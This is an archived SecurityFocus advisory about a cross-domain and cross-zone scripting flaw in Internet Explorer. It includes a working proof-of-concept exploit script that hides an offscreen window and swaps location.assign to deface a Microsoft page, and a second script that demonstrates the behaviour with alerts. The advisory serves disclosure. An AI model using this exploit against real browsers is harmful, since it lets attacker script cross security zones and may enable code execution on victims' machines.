source: http://www.securityfocus.com/bid/10689/info

A vulnerability exists in Microsoft Internet Explorer that may allow cross-domain/cross-zone scripting. 

It is reported that the vulnerability presents itself due to a failure to properly validate trust relationships between method calls that are made in separate Internet Explorer windows. This may make it possible for script code to access properties of a foreign domain or Security Zone.

Exploitation may permit execution of arbitrary code as the victim user.

<script>
//courtesy of Paul
function govuln(){
var w=window.open("javascript:setInterval(function(){try{var tempvar=opener.location.href;}catch(e){location.assign('javascript:document.innerHTML=&quot;<title>Microsoft Corporation</title>0wned&quot;');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000");
w.location.assign=location.assign;
location.href="http://www.microsoft.com";
}
govuln()
</script>

The following example was provided:

<script>;
var var1=location.assign;
alert("Assign function of the current window:\n"+var1);
var w=window.open("about:blank","_blank");
var var2=w.location.assign;
var w=alert("Assign function of the new window:\n"+var2);
w.close();
</script>;

This will reportedly generate two alerts describing the assign().